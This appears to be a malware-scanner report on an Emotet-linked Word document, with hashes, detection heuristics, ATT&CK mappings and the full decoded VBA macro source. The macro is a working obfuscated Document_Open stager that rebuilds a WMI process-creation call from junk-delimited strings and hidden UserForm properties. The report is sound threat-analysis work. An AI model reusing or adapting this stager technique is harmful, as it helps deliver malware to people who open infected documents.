Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4a9d26b321d5a445…

MALICIOUS

Office (OLE)

172.0 KB Created: 2020-07-22 12:20:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 8f09107c9b31ecbfc14e93c7c3a2565f SHA-1: 80b8dbf971f8e6dc86f7a92f373d86908b342310 SHA-256: 4a9d26b321d5a445a605753d2d0572005b9b9b84a415cd4b915644cede606e5c
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV detection explicitly names Emotet. The VBA script likely downloads and executes a second-stage payload, as suggested by the CreateObject calls and obfuscated string concatenation.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9276095-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9276095-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11545 bytes
SHA-256: 61187927233a554747a621e9a573038b4b2d1a07c83b9c1420f1cc1ade2df2cf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nezquab"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
wenteizsaun
End Sub


Attribute VB_Name = "maegyeubthaihpeay"
Attribute VB_Base = "0{0C0BD730-C30C-4208-BE67-1B82F1839C56}{D74DF236-2A08-4928-894D-0D8BC4816A2C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "kievwioc"
Function wenteizsaun()
bisqueajtaif = Chr(maegyeubthaihpeay.Zoom + Int(3 * 5))
Dim iYmdslQX As Integer
iYmdslQX = 5
Do While iYmdslQX < 5 + 8
iYmdslQX = iYmdslQX + 3: DoEvents
Loop
ceakselcaz = "328hbab239***bhqj62vhvhqwi328hbab239***bhqj62vhvhqnm328hbab239***bhqj62vhvhqgm328hbab239***bhqj62vhvhqt" + bisqueajtaif + ":328hbab239***bhqj62vhvhqw328hbab239***bhqj62vhvhqin328hbab239***bhqj62vhvhq32328hbab239***bhqj62vhvhq_" + maegyeubthaihpeay.thoiryeoz + "r328hbab239***bhqj62vhvhqoc328hbab239***bhqj62vhvhqes328hbab239***bhqj62vhvhqs328hbab239***bhqj62vhvhq"
Dim Em4ápvnne As Integer
Em4ápvnne = 6
Do While Em4ápvnne < 6 + 9
Em4ápvnne = Em4ápvnne + 9: DoEvents
Loop
hiotneorrooryeath = taypoov(ceakselcaz)
Dim uVS8Üe As Long
Set zeejdeququounweav = CreateObject(hiotneorrooryeath)
Dim UAJ7ÕQ As Integer
UAJ7ÕQ = 9
Do While UAJ7ÕQ < 9 + 4
UAJ7ÕQ = UAJ7ÕQ + 5: DoEvents
Loop
cianxoarmuah = maegyeubthaihpeay.leoququoedteim.ControlTipText
Dim IH6ÑbnI As String
IH6ÑbnI = Replace$("biBYTw6Õ", "biBY", "MckQ")
xoecnoubsoumkoas = hiotneorrooryeath + bisqueajtaif + maegyeubthaihpeay.theabdoec.ControlTipText + cianxoarmuah
Dim G5Ø3ÔkLKA As Integer
G5Ø3ÔkLKA = 2
Do While G5Ø3ÔkLKA < 2 + 3
G5Ø3ÔkLKA = G5Ø3ÔkLKA + 6: DoEvents
Loop
rauljeach = xoecnoubsoumkoas + maegyeubthaihpeay.thoiryeoz
Dim FHj1Ü As Integer
FHj1Ü = 4
Do While FHj1Ü < 4 + 2
FHj1Ü = FHj1Ü + 5: DoEvents
Loop
Set dendiffeuth = bimqueptook(rauljeach)
Dim C5ÕaZP As String
C5ÕaZP = Replace$("NZsnoSoX6âjLgcfJu", "NZsnoSo", "XduChq")
xiopec = Array("NZsnoSoX6âjLgcfJu", zeejdeququounweav. _
Create(peayciettoez, kioldeuhcouw, dendiffeuth), "uYIFXD0ÆHyWk5ÜupdGq")
Dim GZw5ÀOisy As Integer
GZw5ÀOisy = 6
Do While GZw5ÀOisy < 6 + 5
GZw5ÀOisy = GZw5ÀOisy + 7: DoEvents
Loop
End Function
Function bimqueptook(zivdadneaskeuz)
Set bimqueptook = CreateObject(zivdadneaskeuz)
Dim RugsN As String
RugsN = Replace$("uYIFXD0ÆHyWk5ÜupdGq", "uYIFXD0ÆH", "rDYA")
bimqueptook _
. _
showwindow = (neesviathzeaytit + wuacjeoh) + (hoajjiawyeew + woijjicgieffeec)
Dim hDvm As Object
Dim fSfOKNrdp As Integer
fSfOKNrdp = 7
Do While fSfOKNrdp < 7 + 2
fSfOKNrdp = fSfOKNrdp + 6: DoEvents
Loop
End Function
Function taypoov(pavceuqucaoqu)
yedpeugduvhoiw = pavceuqucaoqu
Dim k2ÁtJPgnG As Date
deuxrukthoiqudieh = Split(yedpeugduvhoiw, "328hbab239***bhqj62vhvhq")
Dim qjXwTPSvh As String
qjXwTPSvh = Replace$("KR6ÇZeLj3ÃSC", "KR6ÇZ", "P1ÚQc8Í")
mairnuuthyiat = we + Join(deuxrukthoiqudieh, ew)
Dim DHB7ÄqedUU As Integer
DHB7ÄqedUU = 1
Do While DHB7ÄqedUU < 1 + 3
DHB7ÄqedUU = DHB7ÄqedUU + 3: DoEvents
Loop
taypoov = mairnuuthyiat
Dim SHj3ÓV8Ê As Integer
SHj3ÓV8Ê = 6
Do While SHj3ÓV8Ê < 6 + 3
SHj3ÓV8Ê = SHj3ÓV8Ê + 1: DoEvents
Loop
End Function
Function peayciettoez()
aqw = maegyeubthaihpeay.kuandeachmop.Pages(1).ControlTipText
Dim vvLfp As Integer
vvLfp = 8
Do While vvLfp < 8 + 9
vvLfp = vvLfp + 4: DoEvents
Loop
peayciettoez = taypoov(aqw)
Dim eRs As Integer
eRs = 1
Do While eRs < 1 + 3
eRs = eRs + 8: DoEvents
Loop
End Function


' Processing file: /opt/analyzer/scan_staging/9529c8e2f7e94c56a63d2041d5936226.bin
' ===============================================================================
' Module streams:
' Macros/VBA/nezquab - 1353 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub nezquab())
' Line #1:
' 	ArgsCall D
... (truncated)